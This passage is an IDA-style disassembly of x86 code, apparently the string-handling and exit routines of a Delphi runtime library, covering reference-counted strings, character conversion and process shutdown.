edi push ebp mov edi, ecx mov ebp, edx mov esi, eax mov eax, offset sub_4023B8 cmp eax, ds:off_409034 setz bl cmp edi, ebp jle short loc_402407 loc_4023D4: ; CODE XREF: sub_4023B8+4Dj mov eax, [esi+ebp*8] inc ebp mov ds:dword_40A5B8, ebp test eax, eax jz short loc_4023E4 call eax loc_4023E4: ; CODE XREF: sub_4023B8+28j test bl, bl jz short loc_402403 mov eax, offset sub_4023B8 cmp eax, ds:off_409034 jz short loc_402403 mov ecx, edi mov edx, ebp mov eax, esi call ds:off_409034 jmp short loc_402407 ; --------------------------------------------------------------------------- loc_402403: ; CODE XREF: sub_4023B8+2Ej ; sub_4023B8+3Bj cmp edi, ebp jg short loc_4023D4 loc_402407: ; CODE XREF: sub_4023B8+1Aj ; sub_4023B8+49j pop ebp pop edi pop esi pop ebx retn sub_4023B8 endp ; =============== S U B R O U T I N E ======================================= sub_40240C proc near ; CODE XREF: sub_402428+35p mov eax, ds:dword_40A5B4 test eax, eax jz short locret_402424 mov edx, [eax] xor ecx, ecx mov eax, [eax+4] xchg ecx, edx call ds:off_409034 locret_402424: ; CODE XREF: sub_40240C+7j retn sub_40240C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402428 proc near ; CODE XREF: sub_403524+3Ap mov ds:dword_40A014, offset loc_4010E8 mov ds:dword_40A018, offset loc_4010F8 mov ds:dword_40A5B4, eax xor eax, eax mov ds:dword_40A5B8, eax mov ds:dword_40A5BC, edx mov eax, [edx+4] mov ds:dword_40A02C, eax mov ds:byte_40A034, 0 call sub_40240C retn sub_402428 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402464 proc near ; CODE XREF: sub_406D18+1Fp push ebx xor ebx, ebx push edi push esi mov edi, [eax+ebx] lea esi, [eax+ebx+4] loc_402470: ; CODE XREF: sub_402464+1Fj mov eax, [esi+4] mov edx, [esi] mov eax, [eax+ebx] add edx, ebx call sub_4033B0 add esi, 8 dec edi jnz short loc_402470 pop esi pop edi pop ebx retn sub_402464 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40248C proc near ; CODE XREF: sub_406D18+29p push ebx xor ebx, ebx push edi push esi mov edi, [eax+ebx] lea esi, [eax+ebx+4] loc_402498: ; CODE XREF: sub_40248C+1Ej mov eax, [esi+4] mov edx, [esi] mov eax, [eax+ebx] add eax, [esi+8] mov [edx+ebx], eax add esi, 0Ch dec edi jnz short loc_402498 pop esi pop edi pop ebx retn sub_40248C endp ; =============== S U B R O U T I N E ======================================= sub_4024B0 proc near ; CODE XREF: sub_4024E0+96p xor eax, eax xchg eax, ds:dword_409000 neg eax sbb eax, eax inc eax mov edi, offset dword_40A5AC mov ebx, [edi+18h] mov ebp, [edi+14h] push dword ptr [edi+1Ch] push dword ptr [edi+20h] mov esi, [edi] mov ecx, 0Bh rep movsd pop edi pop esi leave retn 0Ch sub_4024B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4024E0 proc near ; CODE XREF: sub_4025B0+5p ; CODE:00407FDCp push ebx push esi push edi push ebp mov ebx, offset dword_40A5AC mov esi, offset dword_409000 mov edi, offset dword_40A038 cmp byte ptr [ebx+28h], 0 jnz short loc_40250F cmp dword ptr [edi], 0 jz short loc_40250F loc_4024FE: ; CODE XREF: sub_4024E0+2Dj mov edx, [edi] mov eax, edx xor edx, edx mov [edi], edx mov ebp, eax call ebp cmp dword ptr [edi], 0 jnz short loc_4024FE loc_40250F: ; CODE XREF: sub_4024E0+17j ; sub_4024E0+1Cj cmp ds:dword_409004, 0 jz short loc_40251E call ds:off_409090 loc_40251E: ; CODE XREF: sub_4024E0+36j ; sub_4024E0+C6j cmp byte ptr [ebx+28h], 2 jnz short loc_40252E cmp dword ptr [esi], 0 jnz short loc_40252E xor eax, eax mov [ebx+0Ch], eax loc_40252E: ; CODE XREF: sub_4024E0+42j ; sub_4024E0+47j call ds:off_409038 cmp byte ptr [ebx+28h], 1 jbe short loc_40253F cmp dword ptr [esi], 0 jz short loc_402561 loc_40253F: ; CODE XREF: sub_4024E0+58j mov eax, [ebx+10h] test eax, eax jz short loc_402561 call ds:off_409028 mov edx, [ebx+10h] mov eax, [edx+10h] cmp eax, [edx+4] jz short loc_402561 test eax, eax jz short loc_402561 push eax ; hLibModule call FreeLibrary loc_402561: ; CODE XREF: sub_4024E0+5Dj ; sub_4024E0+64j ... call ds:off_40903C cmp byte ptr [ebx+28h], 1 jnz short loc_402570 call dword ptr [ebx+24h] loc_402570: ; CODE XREF: sub_4024E0+8Bj cmp byte ptr [ebx+28h], 0 jz short loc_40257B call sub_4024B0 loc_40257B: ; CODE XREF: sub_4024E0+94j cmp dword ptr [ebx], 0 jnz short loc_402597 cmp ds:dword_40A024, 0 jz short loc_40258F call ds:dword_40A024 loc_40258F: ; CODE XREF: sub_4024E0+A7j mov eax, [esi] push eax ; uExitCode call ExitProcess ; --------------------------------------------------------------------------- loc_402597: ; CODE XREF: sub_4024E0+9Ej mov eax, [ebx] push esi mov esi, eax mov edi, ebx mov ecx, 0Bh rep movsd pop esi jmp loc_40251E sub_4024E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop ebp pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4025B0 proc near ; CODE XREF: sub_401280+6p ; sub_4025BC+6j ... mov ds:dword_409000, eax call sub_4024E0 sub_4025B0 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4025BC proc near ; CODE XREF: sub_402308+9p ; sub_403494+1Ap ... pop ds:dword_409004 jmp sub_4025B0 sub_4025BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4025C8 proc near ; CODE XREF: sub_40148C+Fp ; sub_4026B4+23p ... mov edx, [eax] test edx, edx jz short locret_4025E9 mov dword ptr [eax], 0 mov ecx, [edx-8] dec ecx jl short locret_4025E9 dec dword ptr [edx-8] jnz short locret_4025E9 push eax lea eax, [edx-8] call sub_401218 pop eax locret_4025E9: ; CODE XREF: sub_4025C8+4j ; sub_4025C8+10j ... retn sub_4025C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4025EC proc near ; CODE XREF: sub_402C70+56p ; sub_4051EC+10Dp ... push ebx push esi mov ebx, eax mov esi, edx loc_4025F2: ; CODE XREF: sub_4025EC+29j mov edx, [ebx] test edx, edx jz short loc_402611 mov dword ptr [ebx], 0 mov ecx, [edx-8] dec ecx jl short loc_402611 dec dword ptr [edx-8] jnz short loc_402611 lea eax, [edx-8] call sub_401218 loc_402611: ; CODE XREF: sub_4025EC+Aj ; sub_4025EC+16j ... add ebx, 4 dec esi jnz short loc_4025F2 pop esi pop ebx retn sub_4025EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40261C proc near ; CODE XREF: sub_402848+8j ; sub_40288C+6j ... test edx, edx jz short loc_402643 mov ecx, [edx-8] inc ecx jg short loc_402640 push eax push edx mov eax, [edx-4] call sub_402688 mov edx, eax pop eax push edx mov ecx, [eax-4] call sub_401340 pop edx pop eax jmp short loc_402643 ; --------------------------------------------------------------------------- loc_402640: ; CODE XREF: sub_40261C+8j inc dword ptr [edx-8] loc_402643: ; CODE XREF: sub_40261C+2j ; sub_40261C+22j xchg edx, [eax] test edx, edx jz short locret_40265C mov ecx, [edx-8] dec ecx jl short locret_40265C dec dword ptr [edx-8] jnz short locret_40265C lea eax, [edx-8] call sub_401218 locret_40265C: ; CODE XREF: sub_40261C+2Bj ; sub_40261C+31j ... retn sub_40261C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402660 proc near ; CODE XREF: sub_405B74+2Ep ; sub_4064C4+1EDp ... test edx, edx jz short loc_40266D mov ecx, [edx-8] inc ecx jle short loc_40266D inc dword ptr [edx-8] loc_40266D: ; CODE XREF: sub_402660+2j ; sub_402660+8j xchg edx, [eax] test edx, edx jz short locret_402686 mov ecx, [edx-8] dec ecx jl short locret_402686 dec dword ptr [edx-8] jnz short locret_402686 lea eax, [edx-8] call sub_401218 locret_402686: ; CODE XREF: sub_402660+11j ; sub_402660+17j ... retn sub_402660 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402688 proc near ; CODE XREF: sub_40261C+Fp ; sub_4026B4+Bp ... test eax, eax jle short loc_4026B0 push eax add eax, 0Ah and eax, 0FFFFFFFEh push eax call sub_401200 pop edx mov word ptr [edx+eax-2], 0 add eax, 8 pop edx mov [eax-4], edx mov dword ptr [eax-8], 1 retn ; --------------------------------------------------------------------------- loc_4026B0: ; CODE XREF: sub_402688+2j xor eax, eax retn sub_402688 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4026B4 proc near ; CODE XREF: sub_40148C+2Fp ; CODE:0040274Ep ... push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx mov eax, edi call sub_402688 mov ecx, edi mov edi, eax test esi, esi jz short loc_4026D5 mov edx, eax mov eax, esi call sub_401340 loc_4026D5: ; CODE XREF: sub_4026B4+16j mov eax, ebx call sub_4025C8 mov [ebx], edi pop edi pop esi pop ebx retn sub_4026B4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_4026E4(LPCWSTR lpWideCharStr, int cbMultiByte, int cchWideChar) sub_4026E4 proc near ; CODE XREF: CODE:0040273Bp ; CODE:0040276Bp cchWideChar = dword ptr 8 push ebp mov ebp, esp push 0 ; lpUsedDefaultChar push 0 ; lpDefaultChar push edx ; cbMultiByte push eax ; lpMultiByteStr mov eax, [ebp+cchWideChar] push eax ; cchWideChar push ecx ; lpWideCharStr push 0 ; dwFlags push 0 ; CodePage call WideCharToMultiByte pop ebp retn 4 sub_4026E4 endp ; --------------------------------------------------------------------------- align 10h loc_402700: ; CODE XREF: CODE:loc_4027FFj ; CODE:loc_402837j push ebx push esi push edi push ebp add esp, 0FFFFF004h push eax add esp, 0FFFFFFFCh mov esi, ecx mov [esp], edx mov edi, eax test esi, esi jg short loc_402722 mov eax, edi call sub_4025C8 jmp short loc_402781 ; --------------------------------------------------------------------------- loc_402722: ; CODE XREF: CODE:00402717j lea ebp, [esi+1] cmp ebp, 7FFh jge short loc_402755 push esi lea eax, [esp+8] mov ecx, [esp+4] mov edx, 0FFFh call sub_4026E4 mov ebx, eax test ebx, ebx jl short loc_402755 lea edx, [esp+4] mov eax, edi mov ecx, ebx call sub_4026B4 jmp short loc_402781 ; --------------------------------------------------------------------------- loc_402755: ; CODE XREF: CODE:0040272Bj ; CODE:00402744j mov ebx, ebp add ebx, ebx mov eax, edi mov edx, ebx call sub_402BC0 push esi mov eax, [edi] mov ecx, [esp+4] mov edx, ebx call sub_4026E4 mov ebx, eax test ebx, ebx jge short loc_402778 xor ebx, ebx loc_402778: ; CODE XREF: CODE:00402774j mov eax, edi mov edx, ebx call sub_402BC0 loc_402781: ; CODE XREF: CODE:00402720j ; CODE:00402753j add esp, 1004h pop ebp pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_40278C proc near ; CODE XREF: sub_405474+8Dp ; sub_405474+190p ... push edx mov edx, esp mov ecx, 1 call sub_4026B4 pop edx retn sub_40278C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40279C proc near ; CODE XREF: sub_4033B0+48p ; CalInfoEnumProc+28p ... xor ecx, ecx test edx, edx jz short loc_4027C3 push edx loc_4027A3: ; CODE XREF: sub_40279C+1Dj cmp cl, [edx] jz short loc_4027BE cmp cl, [edx+1] jz short loc_4027BD cmp cl, [edx+2] jz short loc_4027BC cmp cl, [edx+3] jz short loc_4027BB add edx, 4 jmp short loc_4027A3 ; --------------------------------------------------------------------------- loc_4027BB: ; CODE XREF: sub_40279C+18j inc edx loc_4027BC: ; CODE XREF: sub_40279C+13j inc edx loc_4027BD: ; CODE XREF: sub_40279C+Ej inc edx loc_4027BE: ; CODE XREF: sub_40279C+9j mov ecx, edx pop edx sub ecx, edx loc_4027C3: ; CODE XREF: sub_40279C+4j jmp sub_4026B4 sub_40279C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 loc_4027CC: ; DATA XREF: sub_4047F6:loc_4049C6o xor ecx, ecx test edx, edx jz short loc_4027FF push edx loc_4027D3: ; CODE XREF: CODE:004027EDj cmp cx, [edx] jz short loc_4027F8 cmp cx, [edx+2] jz short loc_4027F5 cmp cx, [edx+4] jz short loc_4027F2 cmp cx, [edx+6] jz short loc_4027EF add edx, 8 jmp short loc_4027D3 ; --------------------------------------------------------------------------- loc_4027EF: ; CODE XREF: CODE:004027E8j add edx, 2 loc_4027F2: ; CODE XREF: CODE:004027E2j add edx, 2 loc_4027F5: ; CODE XREF: CODE:004027DCj add edx, 2 loc_4027F8: ; CODE XREF: CODE:004027D6j mov ecx, edx pop edx sub ecx, edx shr ecx, 1 loc_4027FF: ; CODE XREF: CODE:004027D0j jmp loc_402700 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402808 proc near ; CODE XREF: sub_407720+28p xor ecx, ecx mov cl, [edx] inc edx jmp sub_4026B4 sub_402808 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402814 proc near ; CODE XREF: sub_405CFC+BBp ; sub_406094+49p ... push edi push eax push ecx mov edi, edx xor eax, eax repne scasb jnz short loc_402821 not ecx loc_402821: ; CODE XREF: sub_402814+9j pop eax add ecx, eax pop eax pop edi jmp sub_4026B4 sub_402814 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_40282C: ; DATA XREF: sub_4047F6:loc_4049CDo xor ecx, ecx test edx, edx jz short loc_402837 mov ecx, [edx-4] shr ecx, 1 loc_402837: ; CODE XREF: CODE:00402830j jmp loc_402700 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402840 proc near ; CODE XREF: sub_401780+3Ep ; sub_401780+56p ... test eax, eax jz short locret_402847 mov eax, [eax-4] locret_402847: ; CODE XREF: sub_402840+2j retn sub_402840 endp ; =============== S U B R O U T I N E ======================================= sub_402848 proc near ; CODE XREF: sub_40288C+1Dj ; sub_40288C+6Ej ... test edx, edx jz short locret_40288B mov ecx, [eax] test ecx, ecx jz sub_40261C push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, [ecx-4] mov edx, [esi-4] add edx, edi cmp esi, ecx jz short loc_402880 call sub_402BC0 mov eax, esi mov ecx, [esi-4] loc_402873: ; CODE XREF: sub_402848+41j mov edx, [ebx] add edx, edi call sub_401340 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_402880: ; CODE XREF: sub_402848+1Fj call sub_402BC0 mov eax, [ebx] mov ecx, edi jmp short loc_402873 ; --------------------------------------------------------------------------- locret_40288B: ; CODE XREF: sub_402848+2j retn sub_402848 endp ; =============== S U B R O U T I N E ======================================= sub_40288C proc near ; CODE XREF: CODE:00407C9Ep test edx, edx jz short loc_4028F1 test ecx, ecx jz sub_40261C cmp edx, [eax] jz short loc_4028F8 cmp ecx, [eax] jz short loc_4028AE push eax push ecx call sub_40261C pop edx pop eax jmp sub_402848 ; --------------------------------------------------------------------------- loc_4028AE: ; CODE XREF: sub_40288C+12j push ebx push esi push edi mov ebx, edx mov esi, ecx push eax mov eax, [ebx-4] add eax, [esi-4] call sub_402688 mov edi, eax mov edx, eax mov eax, ebx mov ecx, [ebx-4] call sub_401340 mov edx, edi mov eax, esi mov ecx, [esi-4] add edx, [ebx-4] call sub_401340 pop eax mov edx, edi test edi, edi jz short loc_4028E8 dec dword ptr [edi-8] loc_4028E8: ; CODE XREF: sub_40288C+57j call sub_40261C pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4028F1: ; CODE XREF: sub_40288C+2j mov edx, ecx jmp sub_40261C ; --------------------------------------------------------------------------- loc_4028F8: ; CODE XREF: sub_40288C+Ej mov edx, ecx jmp sub_402848 sub_40288C endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402900 proc near ; CODE XREF: sub_4064C4+27Bp ; sub_4064C4+298p ... push ebx push esi push edi push edx push eax mov ebx, edx xor edi, edi mov ecx, [esp+edx*4+14h] test ecx, ecx jz short loc_402917 cmp [eax], ecx jnz short loc_402917 mov edi, eax loc_402917: ; CODE XREF: sub_402900+Fj ; sub_402900+13j xor eax, eax loc_402919: ; CODE XREF: sub_402900+2Bj mov ecx, [esp+edx*4+14h] test ecx, ecx jz short loc_40292A add eax, [ecx-4] cmp edi, ecx jnz short loc_40292A xor edi, edi loc_40292A: ; CODE XREF: sub_402900+1Fj ; sub_402900+26j dec edx jnz short loc_402919 test edi, edi jz short loc_402945 mov edx, eax mov eax, edi mov esi, [edi] mov esi, [esi-4] call sub_402BC0 push edi add esi, [edi] dec ebx jmp short loc_40294D ; --------------------------------------------------------------------------- loc_402945: ; CODE XREF: sub_402900+2Fj call sub_402688 push eax mov esi, eax loc_40294D: ; CODE XREF: sub_402900+43j ; sub_402900+62j mov eax, [esp+ebx*4+18h] mov edx, esi test eax, eax jz short loc_402961 mov ecx, [eax-4] add esi, ecx call sub_401340 loc_402961: ; CODE XREF: sub_402900+55j dec ebx jnz short loc_40294D pop edx pop eax test edi, edi jnz short loc_402976 test edx, edx jz short loc_402971 dec dword ptr [edx-8] loc_402971: ; CODE XREF: sub_402900+6Cj call sub_40261C loc_402976: ; CODE XREF: sub_402900+68j pop edx pop edi pop esi pop ebx pop eax lea esp, [esp+edx*4] jmp eax sub_402900 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402984 proc near ; CODE XREF: CODE:00407F53p push ebx push esi push edi mov esi, eax mov edi, edx cmp eax, edx jz loc_402A22 test esi, esi jz short loc_4029FF test edi, edi jz short loc_402A06 mov eax, [esi-4] mov edx, [edi-4] sub eax, edx ja short loc_4029A7 add edx, eax loc_4029A7: ; CODE XREF: sub_402984+1Fj push edx shr edx, 2 jz short loc_4029D3 loc_4029AD: ; CODE XREF: sub_402984+45j mov ecx, [esi] mov ebx, [edi] cmp ecx, ebx jnz short loc_402A0D dec edx jz short loc_4029CD mov ecx, [esi+4] mov ebx, [edi+4] cmp ecx, ebx jnz short loc_402A0D add esi, 8 add edi, 8 dec edx jnz short loc_4029AD jmp short loc_4029D3 ; --------------------------------------------------------------------------- loc_4029CD: ; CODE XREF: sub_402984+32j add esi, 4 add edi, 4 loc_4029D3: ; CODE XREF: sub_402984+27j ; sub_402984+47j pop edx and edx, 3 jz short loc_4029FB mov ecx, [esi] mov ebx, [edi] cmp cl, bl jnz short loc_402A22 dec edx jz short loc_4029FB cmp ch, bh jnz short loc_402A22 dec edx jz short loc_4029FB and ebx, 0FF0000h and ecx, 0FF0000h cmp ecx, ebx jnz short loc_402A22 loc_4029FB: ; CODE XREF: sub_402984+53j ; sub_402984+5Ej ... add eax, eax jmp short loc_402A22 ; --------------------------------------------------------------------------- loc_4029FF: ; CODE XREF: sub_402984+11j mov edx, [edi-4] sub eax, edx jmp short loc_402A22 ; --------------------------------------------------------------------------- loc_402A06: ; CODE XREF: sub_402984+15j mov eax, [esi-4] sub eax, edx jmp short loc_402A22 ; --------------------------------------------------------------------------- loc_402A0D: ; CODE XREF: sub_402984+2Fj ; sub_402984+3Cj pop edx cmp cl, bl jnz short loc_402A22 cmp ch, bh jnz short loc_402A22 shr ecx, 10h shr ebx, 10h cmp cl, bl jnz short loc_402A22 cmp ch, bh loc_402A22: ; CODE XREF: sub_402984+9j ; sub_402984+5Bj ... pop edi pop esi pop ebx retn sub_402984 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402A28 proc near ; CODE XREF: sub_406DAC+Fp ; sub_406E6C+14p ... test eax, eax jz short locret_402A35 mov edx, [eax-8] inc edx jle short locret_402A35 inc dword ptr [eax-8] locret_402A35: ; CODE XREF: sub_402A28+2j ; sub_402A28+8j retn sub_402A28 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402A38 proc near ; CODE XREF: sub_401780+46p ; sub_404420+15p ... test eax, eax jz short loc_402A3E retn ; --------------------------------------------------------------------------- byte_402A3D db 0 ; DATA XREF: sub_402A38:loc_402A3Eo ; --------------------------------------------------------------------------- loc_402A3E: ; CODE XREF: sub_402A38+2j mov eax, offset byte_402A3D retn sub_402A38 endp ; =============== S U B R O U T I N E ======================================= sub_402A44 proc near ; CODE XREF: sub_402A84j sub_402A8Cj mov edx, [eax] test edx, edx jz short loc_402A81 mov ecx, [edx-8] dec ecx jz short loc_402A81 push ebx mov ebx, eax mov eax, [edx-4] call sub_402688 mov edx, eax mov eax, [ebx] mov [ebx], edx push eax mov ecx, [eax-4] call sub_401340 pop eax mov ecx, [eax-8] dec ecx jl short loc_402A7E dec dword ptr [eax-8] jnz short loc_402A7E lea eax, [eax-8] call sub_401218 loc_402A7E: ; CODE XREF: sub_402A44+2Bj ; sub_402A44+30j mov edx, [ebx] pop ebx loc_402A81: ; CODE XREF: sub_402A44+4j ; sub_402A44+Aj mov eax, edx retn sub_402A44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402A84 proc near ; CODE XREF: sub_402AD4+9p jmp sub_402A44 sub_402A84 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402A8C proc near ; CODE XREF: sub_406DAC+34p ; sub_406DAC+67p ... jmp sub_402A44 sub_402A8C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402A94 proc near ; CODE XREF: sub_4044E8+20p ; sub_405474+E4p arg_0 = dword ptr 4 push ebx test eax, eax jz short loc_402AC6 mov ebx, [eax-4] test ebx, ebx jz short loc_402AC6 dec edx jl short loc_402ABE cmp edx, ebx jge short loc_402AC6 loc_402AA7: ; CODE XREF: sub_402A94+2Cj sub ebx, edx test ecx, ecx jl short loc_402AC6 cmp ecx, ebx jg short loc_402AC2 loc_402AB1: ; CODE XREF: sub_402A94+30j add edx, eax mov eax, [esp+4+arg_0] call sub_4026B4 jmp short loc_402ACF ; --------------------------------------------------------------------------- loc_402ABE: ; CODE XREF: sub_402A94+Dj xor edx, edx jmp short loc_402AA7 ; --------------------------------------------------------------------------- loc_402AC2: ; CODE XREF: sub_402A94+1Bj mov ecx, ebx jmp short loc_402AB1 ; --------------------------------------------------------------------------- loc_402AC6: ; CODE XREF: sub_402A94+3j ; sub_402A94+Aj ... mov eax, [esp+4+arg_0] call sub_4025C8 loc_402ACF: ; CODE XREF: sub_402A94+28j pop ebx retn 4 sub_402A94 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402AD4 proc near ; CODE XREF: sub_407A14+54p push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx call sub_402A84 mov edx, [ebx] test edx, edx jz short loc_402B18 mov ecx, [edx-4] dec esi jl short loc_402B18 cmp esi, ecx jge short loc_402B18 test edi, edi jle short loc_402B18 sub ecx, esi cmp edi, ecx jle short loc_402AFE mov edi, ecx loc_402AFE: ; CODE XREF: sub_402AD4+26j sub ecx, edi add edx, esi lea eax, [edi+edx] call sub_401340 mov edx, [ebx] mov eax, ebx mov edx, [edx-4] sub edx, edi call sub_402BC0 loc_402B18: ; CODE XREF: sub_402AD4+12j ; sub_402AD4+18j ... pop edi pop esi pop ebx retn sub_402AD4 endp ; =============== S U B R O U T I N E ======================================= sub_402B1C proc near ; CODE XREF: sub_407A14+61p test eax, eax jz short locret_402B76 push ebx push esi push edi push ebp mov ebx, eax mov esi, edx mov edi, ecx mov edx, [edx] push edx test edx, edx jz short loc_402B34 mov edx, [edx-4] loc_402B34: ; CODE XREF: sub_402B1C+13j dec edi jge short loc_402B39 xor edi, edi loc_402B39: ; CODE XREF: sub_402B1C+19j cmp edi, edx jle short loc_402B3F mov edi, edx loc_402B3F: ; CODE XREF: sub_402B1C+1Fj mov ebp, [ebx-4] mov eax, esi add edx, ebp call sub_402BC0 pop eax cmp eax, ebx jnz short loc_402B52 mov ebx, [esi] loc_402B52: ; CODE XREF: sub_402B1C+32j mov eax, [esi] lea edx, [edi+ebp] mov ecx, [eax-4] sub ecx, edx add edx, eax add eax, edi call sub_401340 mov eax, ebx mov edx, [esi] mov ecx, ebp add edx, edi call sub_401340 pop ebp pop edi pop esi pop ebx locret_402B76: ; CODE XREF: sub_402B1C+2j retn sub_402B1C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402B78 proc near ; CODE XREF: sub_407A14+3Ep ; sub_407A14+6Cp test eax, eax jz short locret_402BBC test edx, edx jz short loc_402BB1 push ebx push esi push edi mov esi, eax mov edi, edx mov ecx, [edi-4] push edi mov edx, [esi-4] dec edx js short loc_402BAC mov al, [esi] inc esi sub ecx, edx jle short loc_402BAC loc_402B98: ; CODE XREF: sub_402B78+32j repne scasb jnz short loc_402BAC mov ebx, ecx push esi push edi mov ecx, edx repe cmpsb pop edi pop esi jz short loc_402BB4 mov ecx, ebx jmp short loc_402B98 ; --------------------------------------------------------------------------- loc_402BAC: ; CODE XREF: sub_402B78+17j ; sub_402B78+1Ej ... pop edx xor eax, eax jmp short loc_402BB9 ; --------------------------------------------------------------------------- loc_402BB1: ; CODE XREF: sub_402B78+6j xor eax, eax retn ; --------------------------------------------------------------------------- loc_402BB4: ; CODE XREF: sub_402B78+2Ej pop edx mov eax, edi sub eax, edx loc_402BB9: ; CODE XREF: sub_402B78+37j pop edi pop esi pop ebx locret_402BBC: ; CODE XREF: sub_402B78+2j retn sub_402B78 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402BC0 proc near ; CODE XREF: sub_4013A0+7Fp ; CODE:0040275Dp ... push ebx push esi push edi mov ebx, eax mov esi, edx xor edi, edi test edx, edx jle short loc_402C15 mov eax, [ebx] test eax, eax jz short loc_402BF6 cmp dword ptr [eax-8], 1 jnz short loc_402BF6 sub eax, 8 add edx, 9 push eax mov eax, esp call sub_401230 pop eax add eax, 8 mov [ebx], eax mov [eax-4], esi mov byte ptr [esi+eax], 0 jmp short loc_402C1E ; --------------------------------------------------------------------------- loc_402BF6: ; CODE XREF: sub_402BC0+11j ; sub_402BC0+17j mov eax, edx call sub_402688 mov edi, eax mov eax, [ebx] test eax, eax jz short loc_402C15 mov edx, edi mov ecx, [eax-4] cmp ecx, esi jl short loc_402C10 mov ecx, esi loc_402C10: ; CODE XREF: sub_402BC0+4Cj call sub_401340 loc_402C15: ; CODE XREF: sub_402BC0+Bj ; sub_402BC0+43j mov eax, ebx call sub_4025C8 mov [ebx], edi loc_402C1E: ; CODE XREF: sub_402BC0+34j pop edi pop esi pop ebx retn sub_402BC0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402C24 proc near ; CODE XREF: sub_406B98+158p mov edx, [eax] test edx, edx jz short locret_402C38 mov dword ptr [eax], 0 push eax push edx ; bstrString call SysFreeString pop eax locret_402C38: ; CODE XREF: sub_402C24+4j retn sub_402C24 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402C3C proc near ; CODE XREF: sub_401FB4+12p ; sub_402C70+B1p xor ecx, ecx push ebx mov cl, [edx+1] push esi push edi mov ebx, eax lea esi, [ecx+edx+0Ah] mov edi, [ecx+edx+6] loc_402C4E: ; CODE XREF: sub_402C3C+29j mov edx, [esi] mov eax, [esi+4] add eax, ebx mov edx, [edx] mov ecx, 1 call sub_402C70 add esi, 8 dec edi jg short loc_402C4E mov eax, ebx pop edi pop esi pop ebx retn sub_402C3C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402C70 proc near ; CODE XREF: sub_402C3C+20p ; sub_402C70+9Bp ... cmp ecx, 0 jz locret_402D5B push eax push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx xor edx, edx mov al, [esi] mov dl, [esi+1] cmp al, 0Ah jz short loc_402CB3 cmp al, 0Bh jz short loc_402CD0 cmp al, 0Ch jz short loc_402CE9 cmp al, 0Dh jz short loc_402CF8 cmp al, 0Eh jz short loc_402D16 cmp al, 0Fh jz loc_402D2C cmp al, 11h jz loc_402D3B jmp loc_402D4C ; --------------------------------------------------------------------------- loc_402CB3: ; CODE XREF: sub_402C70+1Cj cmp ecx, 1 mov eax, ebx jg short loc_402CC4 call sub_4025C8 jmp loc_402D57 ; --------------------------------------------------------------------------- loc_402CC4: ; CODE XREF: sub_402C70+48j mov edx, ecx call sub_4025EC jmp loc_402D57 ; --------------------------------------------------------------------------- loc_402CD0: ; CODE XREF: sub_402C70+20j cmp ecx, 1 mov eax, ebx jg short loc_402CDF call ds:off_40902C jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402CDF: ; CODE XREF: sub_402C70+65j mov edx, ecx call ds:off_409030 jmp short loc_402D57 ; --------------------------------------------------------------------------- loc_402CE9: ; CODE XREF: sub_402C70+24j ; sub_402C70+84j mov eax, ebx add ebx, 10h 